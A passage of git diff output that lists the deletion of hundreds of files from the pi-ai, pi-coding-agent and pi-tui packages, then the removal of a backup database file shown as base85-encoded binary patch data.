packages/pi-ai/src/models.ts delete mode 100644 packages/pi-ai/src/oauth.ts delete mode 100644 packages/pi-ai/src/providers/amazon-bedrock.test.ts delete mode 100644 packages/pi-ai/src/providers/amazon-bedrock.ts delete mode 100644 packages/pi-ai/src/providers/anthropic-auth.test.ts delete mode 100644 packages/pi-ai/src/providers/anthropic-shared.test.ts delete mode 100644 packages/pi-ai/src/providers/anthropic-shared.ts delete mode 100644 packages/pi-ai/src/providers/anthropic-vertex.ts delete mode 100644 packages/pi-ai/src/providers/anthropic.ts delete mode 100644 packages/pi-ai/src/providers/azure-openai-responses.ts delete mode 100644 packages/pi-ai/src/providers/codex-app-server-client.ts delete mode 100644 packages/pi-ai/src/providers/github-copilot-headers.ts delete mode 100644 packages/pi-ai/src/providers/google-gemini-cli-core-plan.md delete mode 100644 packages/pi-ai/src/providers/google-gemini-cli.test.ts delete mode 100644 packages/pi-ai/src/providers/google-gemini-cli.ts delete mode 100644 packages/pi-ai/src/providers/google-shared.test.ts delete mode 100644 packages/pi-ai/src/providers/google-shared.ts delete mode 100644 packages/pi-ai/src/providers/google-vertex.ts delete mode 100644 packages/pi-ai/src/providers/google.ts delete mode 100644 packages/pi-ai/src/providers/mistral.ts delete mode 100644 packages/pi-ai/src/providers/openai-codex-responses.ts delete mode 100644 packages/pi-ai/src/providers/openai-completions.ts delete mode 100644 packages/pi-ai/src/providers/openai-responses-shared.ts delete mode 100644 packages/pi-ai/src/providers/openai-responses.ts delete mode 100644 packages/pi-ai/src/providers/openai-shared.ts delete mode 100644 packages/pi-ai/src/providers/provider-capabilities.test.ts delete mode 100644 packages/pi-ai/src/providers/provider-capabilities.ts delete mode 100644 packages/pi-ai/src/providers/register-builtins.ts delete mode 100644 packages/pi-ai/src/providers/sanitize-tool-arguments.ts delete mode 100644 packages/pi-ai/src/providers/simple-options.test.ts delete mode 100644 packages/pi-ai/src/providers/simple-options.ts delete mode 100644 packages/pi-ai/src/providers/transform-messages-report.test.ts delete mode 100644 packages/pi-ai/src/providers/transform-messages.ts delete mode 100644 packages/pi-ai/src/stream.ts delete mode 100644 packages/pi-ai/src/types.ts delete mode 100644 packages/pi-ai/src/utils/event-stream.test.ts delete mode 100644 packages/pi-ai/src/utils/event-stream.ts delete mode 100644 packages/pi-ai/src/utils/hash.ts delete mode 100644 packages/pi-ai/src/utils/json-parse.ts delete mode 100644 packages/pi-ai/src/utils/oauth/github-copilot.test.ts delete mode 100644 packages/pi-ai/src/utils/oauth/github-copilot.ts delete mode 100644 packages/pi-ai/src/utils/oauth/index.ts delete mode 100644 packages/pi-ai/src/utils/oauth/openai-codex.ts delete mode 100644 packages/pi-ai/src/utils/oauth/pkce.ts delete mode 100644 packages/pi-ai/src/utils/oauth/types.ts delete mode 100644 packages/pi-ai/src/utils/overflow.ts delete mode 100644 packages/pi-ai/src/utils/repair-tool-json.ts delete mode 100644 packages/pi-ai/src/utils/sanitize-unicode.ts delete mode 100644 packages/pi-ai/src/utils/tests/json-parse.test.ts delete mode 100644 packages/pi-ai/src/utils/tests/overflow.test.ts delete mode 100644 packages/pi-ai/src/utils/tests/repair-tool-json.test.ts delete mode 100644 packages/pi-ai/src/utils/typebox-helpers.ts delete mode 100644 packages/pi-ai/src/utils/validation.ts delete mode 100644 packages/pi-ai/src/web-runtime-env-api-keys.ts delete mode 100644 packages/pi-ai/src/web-runtime-oauth.ts delete mode 100644 packages/pi-ai/tsconfig.json delete mode 100644 packages/pi-coding-agent/package.json delete mode 100644 packages/pi-coding-agent/scripts/copy-assets.cjs delete mode 100644 packages/pi-coding-agent/src/cli.ts delete mode 100644 packages/pi-coding-agent/src/cli/args.test.ts delete mode 100644 packages/pi-coding-agent/src/cli/args.ts delete mode 100644 packages/pi-coding-agent/src/cli/config-selector.ts delete mode 100644 packages/pi-coding-agent/src/cli/file-processor.ts delete mode 100644 packages/pi-coding-agent/src/cli/list-models.test.ts delete mode 100644 packages/pi-coding-agent/src/cli/list-models.ts delete mode 100644 packages/pi-coding-agent/src/cli/session-picker.ts delete mode 100644 packages/pi-coding-agent/src/config.ts delete mode 100644 packages/pi-coding-agent/src/core/agent-session-custom-message-queue.test.ts delete mode 100644 packages/pi-coding-agent/src/core/agent-session-model-switch.test.ts delete mode 100644 packages/pi-coding-agent/src/core/agent-session-print-mode-persist.test.ts delete mode 100644 packages/pi-coding-agent/src/core/agent-session-renderable-tools.test.ts delete mode 100644 packages/pi-coding-agent/src/core/agent-session-tool-refresh.test.ts delete mode 100644 packages/pi-coding-agent/src/core/agent-session.ts delete mode 100644 packages/pi-coding-agent/src/core/artifact-manager.ts delete mode 100644 packages/pi-coding-agent/src/core/auth-storage.test.ts delete mode 100644 packages/pi-coding-agent/src/core/auth-storage.ts delete mode 100644 packages/pi-coding-agent/src/core/bash-executor.ts delete mode 100644 packages/pi-coding-agent/src/core/blob-store.ts delete mode 100644 packages/pi-coding-agent/src/core/chat-controller-ordering.test.ts delete mode 100644 packages/pi-coding-agent/src/core/compaction-orchestrator.ts delete mode 100644 packages/pi-coding-agent/src/core/compaction-utils.test.ts delete mode 100644 packages/pi-coding-agent/src/core/compaction/branch-summarization.ts delete mode 100644 packages/pi-coding-agent/src/core/compaction/compaction.test.ts delete mode 100644 packages/pi-coding-agent/src/core/compaction/compaction.ts delete mode 100644 packages/pi-coding-agent/src/core/compaction/index.ts delete mode 100644 packages/pi-coding-agent/src/core/compaction/utils.ts delete mode 100644 packages/pi-coding-agent/src/core/constants.ts delete mode 100644 packages/pi-coding-agent/src/core/contextual-tips.test.ts delete mode 100644 packages/pi-coding-agent/src/core/contextual-tips.ts delete mode 100644 packages/pi-coding-agent/src/core/defaults.ts delete mode 100644 packages/pi-coding-agent/src/core/diagnostics.ts delete mode 100644 packages/pi-coding-agent/src/core/discovery-cache.test.ts delete mode 100644 packages/pi-coding-agent/src/core/discovery-cache.ts delete mode 100644 packages/pi-coding-agent/src/core/event-bus.ts delete mode 100644 packages/pi-coding-agent/src/core/exec.ts delete mode 100644 packages/pi-coding-agent/src/core/export-html/ansi-to-html.ts delete mode 100644 packages/pi-coding-agent/src/core/export-html/index.ts delete mode 100644 packages/pi-coding-agent/src/core/export-html/template.css delete mode 100644 packages/pi-coding-agent/src/core/export-html/template.html delete mode 100644 packages/pi-coding-agent/src/core/export-html/template.js delete mode 100644 packages/pi-coding-agent/src/core/export-html/tool-renderer.ts delete mode 100644 packages/pi-coding-agent/src/core/export-html/vendor/highlight.min.js delete mode 100644 packages/pi-coding-agent/src/core/export-html/vendor/marked.min.js delete mode 100644 packages/pi-coding-agent/src/core/extensions/extension-manifest.test.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/extension-manifest.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/extension-sort.test.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/extension-sort.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/index.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/loader.test.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/loader.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/project-trust.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/provider-registration.test.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/runner.test.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/runner.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/types.ts delete mode 100644 packages/pi-coding-agent/src/core/extensions/wrapper.ts delete mode 100644 packages/pi-coding-agent/src/core/fallback-resolver.test.ts delete mode 100644 packages/pi-coding-agent/src/core/fallback-resolver.ts delete mode 100644 packages/pi-coding-agent/src/core/footer-data-provider.ts delete mode 100644 packages/pi-coding-agent/src/core/fs-utils.test.ts delete mode 100644 packages/pi-coding-agent/src/core/fs-utils.ts delete mode 100644 packages/pi-coding-agent/src/core/image-overflow-recovery.test.ts delete mode 100644 packages/pi-coding-agent/src/core/image-overflow-recovery.ts delete mode 100644 packages/pi-coding-agent/src/core/index.ts delete mode 100644 packages/pi-coding-agent/src/core/keybindings-followup.test.ts delete mode 100644 packages/pi-coding-agent/src/core/keybindings.ts delete mode 100644 packages/pi-coding-agent/src/core/lifecycle-hooks.test.ts delete mode 100644 packages/pi-coding-agent/src/core/lifecycle-hooks.ts delete mode 100644 packages/pi-coding-agent/src/core/local-model-check.ts delete mode 100644 packages/pi-coding-agent/src/core/lock-utils.ts delete mode 100644 packages/pi-coding-agent/src/core/lsp/client.ts delete mode 100644 packages/pi-coding-agent/src/core/lsp/config.ts delete mode 100644 packages/pi-coding-agent/src/core/lsp/defaults.json delete mode 100644 packages/pi-coding-agent/src/core/lsp/edits.ts delete mode 100644 packages/pi-coding-agent/src/core/lsp/helpers.ts delete mode 100644 packages/pi-coding-agent/src/core/lsp/index.ts delete mode 100644 packages/pi-coding-agent/src/core/lsp/lsp-integration.test.ts delete mode 100644 packages/pi-coding-agent/src/core/lsp/lsp-legacy-alias.test.ts delete mode 100644 packages/pi-coding-agent/src/core/lsp/lsp.md delete mode 100644 packages/pi-coding-agent/src/core/lsp/lspmux.ts delete mode 100644 packages/pi-coding-agent/src/core/lsp/types.ts delete mode 100644 packages/pi-coding-agent/src/core/lsp/utils.ts delete mode 100644 packages/pi-coding-agent/src/core/memory/federated-memory.test.ts delete mode 100644 packages/pi-coding-agent/src/core/memory/federated-memory.ts delete mode 100644 packages/pi-coding-agent/src/core/messages.test.ts delete mode 100644 packages/pi-coding-agent/src/core/messages.ts delete mode 100644 packages/pi-coding-agent/src/core/model-discovery.test.ts delete mode 100644 packages/pi-coding-agent/src/core/model-discovery.ts delete mode 100644 packages/pi-coding-agent/src/core/model-registry-auth-mode.test.ts delete mode 100644 packages/pi-coding-agent/src/core/model-registry-discovery.test.ts delete mode 100644 packages/pi-coding-agent/src/core/model-registry-env-fallback.test.ts delete mode 100644 packages/pi-coding-agent/src/core/model-registry-proxy-routing.test.ts delete mode 100644 packages/pi-coding-agent/src/core/model-registry.ts delete mode 100644 packages/pi-coding-agent/src/core/model-resolver-initial-model-auth.test.ts delete mode 100644 packages/pi-coding-agent/src/core/model-resolver.test.ts delete mode 100644 packages/pi-coding-agent/src/core/model-resolver.ts delete mode 100644 packages/pi-coding-agent/src/core/models-json-writer.test.ts delete mode 100644 packages/pi-coding-agent/src/core/models-json-writer.ts delete mode 100644 packages/pi-coding-agent/src/core/package-commands.test.ts delete mode 100644 packages/pi-coding-agent/src/core/package-commands.ts delete mode 100644 packages/pi-coding-agent/src/core/package-manager.ts delete mode 100644 packages/pi-coding-agent/src/core/prompt-templates.ts delete mode 100644 packages/pi-coding-agent/src/core/resolve-config-value.test.ts delete mode 100644 packages/pi-coding-agent/src/core/resolve-config-value.ts delete mode 100644 packages/pi-coding-agent/src/core/resource-loader-cache-reset.test.ts delete mode 100644 packages/pi-coding-agent/src/core/resource-loader.ts delete mode 100644 packages/pi-coding-agent/src/core/retry-handler.test.ts delete mode 100644 packages/pi-coding-agent/src/core/retry-handler.ts delete mode 100644 packages/pi-coding-agent/src/core/sdk.test.ts delete mode 100644 packages/pi-coding-agent/src/core/sdk.ts delete mode 100644 packages/pi-coding-agent/src/core/session-manager.test.ts delete mode 100644 packages/pi-coding-agent/src/core/session-manager.ts delete mode 100644 packages/pi-coding-agent/src/core/settings-manager-security.test.ts delete mode 100644 packages/pi-coding-agent/src/core/settings-manager.ts delete mode 100644 packages/pi-coding-agent/src/core/skill-tool.test.ts delete mode 100644 packages/pi-coding-agent/src/core/skills.ts delete mode 100644 packages/pi-coding-agent/src/core/slash-commands.ts delete mode 100644 packages/pi-coding-agent/src/core/system-prompt.ts delete mode 100644 packages/pi-coding-agent/src/core/timings.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/bash-background.test.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/bash-interceptor.test.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/bash-interceptor.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/bash-spawn-windows.test.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/bash.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/edit-diff.test.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/edit-diff.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/edit.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/find.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/grep.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/hashline-edit.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/hashline-read.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/hashline.test.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/hashline.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/index.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/ls.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/path-utils.test.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/path-utils.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/read.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/spawn-shell-windows.test.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/tool-compatibility-registry.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/truncate.ts delete mode 100644 packages/pi-coding-agent/src/core/tools/write.ts delete mode 100644 packages/pi-coding-agent/src/index.ts delete mode 100644 packages/pi-coding-agent/src/main.ts delete mode 100644 packages/pi-coding-agent/src/migrations.ts delete mode 100644 packages/pi-coding-agent/src/modes/index.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/autoreload-contract.test.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/__tests__/login-dialog.test.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/__tests__/provider-display-name.test.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/__tests__/timestamp.test.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/__tests__/tool-execution.test.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/armin.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/assistant-message.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/bash-execution.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/bordered-loader.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/branch-summary-message.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/compaction-summary-message.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/config-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/countdown-timer.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/custom-editor.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/custom-message.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/daxnuts.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/diff.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/dynamic-border.test.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/dynamic-border.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/extension-editor.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/extension-input.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/extension-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/footer.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/index.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/keybinding-hints.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/login-dialog.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/model-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/oauth-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/provider-manager.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/scoped-models-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/session-selector-search.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/session-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/settings-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/show-images-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/skill-invocation-message.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/theme-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/thinking-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/timestamp.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/tool-execution.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/tree-render-utils.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/tree-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/user-message-selector.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/user-message.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/components/visual-truncate.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/controllers/chat-controller.test.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/controllers/chat-controller.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/controllers/extension-ui-controller.test.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/controllers/extension-ui-controller.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/controllers/input-controller.test.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/controllers/input-controller.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/controllers/model-controller.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/interactive-mode-state.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/interactive-mode.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/slash-command-handlers.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/theme/theme.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/theme/themes.ts delete mode 100644 packages/pi-coding-agent/src/modes/interactive/utils/shorten-path.ts delete mode 100644 packages/pi-coding-agent/src/modes/print-mode.ts delete mode 100644 packages/pi-coding-agent/src/modes/rpc/jsonl.ts delete mode 100644 packages/pi-coding-agent/src/modes/rpc/remote-terminal.ts delete mode 100644 packages/pi-coding-agent/src/modes/rpc/rpc-client.ts delete mode 100644 packages/pi-coding-agent/src/modes/rpc/rpc-mode.ts delete mode 100644 packages/pi-coding-agent/src/modes/rpc/rpc-protocol-v2.test.ts delete mode 100644 packages/pi-coding-agent/src/modes/rpc/rpc-types.ts delete mode 100644 packages/pi-coding-agent/src/modes/shared/command-context-actions.ts delete mode 100644 packages/pi-coding-agent/src/resources/extensions/memory/index.ts delete mode 100644 packages/pi-coding-agent/src/resources/extensions/memory/pipeline.ts delete mode 100644 packages/pi-coding-agent/src/resources/extensions/memory/storage.test.ts delete mode 100644 packages/pi-coding-agent/src/resources/extensions/memory/storage.ts delete mode 100644 packages/pi-coding-agent/src/tests/path-display.test.ts delete mode 100644 packages/pi-coding-agent/src/tests/system-prompt-skill-filter.test.ts delete mode 100644 packages/pi-coding-agent/src/types/ambient-modules.d.ts delete mode 100644 packages/pi-coding-agent/src/utils/changelog.ts delete mode 100644 packages/pi-coding-agent/src/utils/clipboard-image.ts delete mode 100644 packages/pi-coding-agent/src/utils/clipboard-native.ts delete mode 100644 packages/pi-coding-agent/src/utils/clipboard.ts delete mode 100644 packages/pi-coding-agent/src/utils/error.ts delete mode 100644 packages/pi-coding-agent/src/utils/frontmatter.ts delete mode 100644 packages/pi-coding-agent/src/utils/git.ts delete mode 100644 packages/pi-coding-agent/src/utils/image-convert.ts delete mode 100644 packages/pi-coding-agent/src/utils/image-resize.ts delete mode 100644 packages/pi-coding-agent/src/utils/mime.ts delete mode 100644 packages/pi-coding-agent/src/utils/path-display.ts delete mode 100644 packages/pi-coding-agent/src/utils/photon.ts delete mode 100644 packages/pi-coding-agent/src/utils/proxy-server.ts delete mode 100644 packages/pi-coding-agent/src/utils/shell-env.test.ts delete mode 100644 packages/pi-coding-agent/src/utils/shell.ts delete mode 100644 packages/pi-coding-agent/src/utils/sleep.ts delete mode 100644 packages/pi-coding-agent/src/utils/tools-manager.ts delete mode 100644 packages/pi-coding-agent/tsconfig.json delete mode 100644 packages/pi-tui/package.json delete mode 100644 packages/pi-tui/src/__tests__/autocomplete.test.ts delete mode 100644 packages/pi-tui/src/__tests__/fuzzy.test.ts delete mode 100644 packages/pi-tui/src/__tests__/overlay-layout.test.ts delete mode 100644 packages/pi-tui/src/__tests__/stdin-buffer.test.ts delete mode 100644 packages/pi-tui/src/__tests__/tui.test.ts delete mode 100644 packages/pi-tui/src/autocomplete.ts delete mode 100644 packages/pi-tui/src/components/__tests__/cancellable-loader.test.ts delete mode 100644 packages/pi-tui/src/components/__tests__/editor.test.ts delete mode 100644 packages/pi-tui/src/components/__tests__/input.test.ts delete mode 100644 packages/pi-tui/src/components/__tests__/loader.test.ts delete mode 100644 packages/pi-tui/src/components/__tests__/markdown-maxlines.test.ts delete mode 100644 packages/pi-tui/src/components/box.ts delete mode 100644 packages/pi-tui/src/components/cancellable-loader.ts delete mode 100644 packages/pi-tui/src/components/editor.ts delete mode 100644 packages/pi-tui/src/components/image.test.ts delete mode 100644 packages/pi-tui/src/components/image.ts delete mode 100644 packages/pi-tui/src/components/input.ts delete mode 100644 packages/pi-tui/src/components/loader.ts delete mode 100644 packages/pi-tui/src/components/markdown.ts delete mode 100644 packages/pi-tui/src/components/select-list.ts delete mode 100644 packages/pi-tui/src/components/settings-list.ts delete mode 100644 packages/pi-tui/src/components/spacer.ts delete mode 100644 packages/pi-tui/src/components/text.ts delete mode 100644 packages/pi-tui/src/components/truncated-text.ts delete mode 100644 packages/pi-tui/src/editor-component.ts delete mode 100644 packages/pi-tui/src/fuzzy.ts delete mode 100644 packages/pi-tui/src/index.ts delete mode 100644 packages/pi-tui/src/keybindings.ts delete mode 100644 packages/pi-tui/src/keys.ts delete mode 100644 packages/pi-tui/src/kill-ring.ts delete mode 100644 packages/pi-tui/src/overlay-layout.ts delete mode 100644 packages/pi-tui/src/stdin-buffer.ts delete mode 100644 packages/pi-tui/src/terminal-image.ts delete mode 100644 packages/pi-tui/src/terminal.ts delete mode 100644 packages/pi-tui/src/tui.ts delete mode 100644 packages/pi-tui/src/undo-stack.ts delete mode 100644 packages/pi-tui/src/utils.ts delete mode 100644 packages/pi-tui/tsconfig.json diff --git a/.sf/backups/db/sf.db.2026-05-08T20-20-34-822Z b/.sf/backups/db/sf.db.2026-05-08T20-20-34-822Z deleted file mode 100644 index eac12c10d0f12694b2b8ee2297f6a4bb16cf8a93..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1118208 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 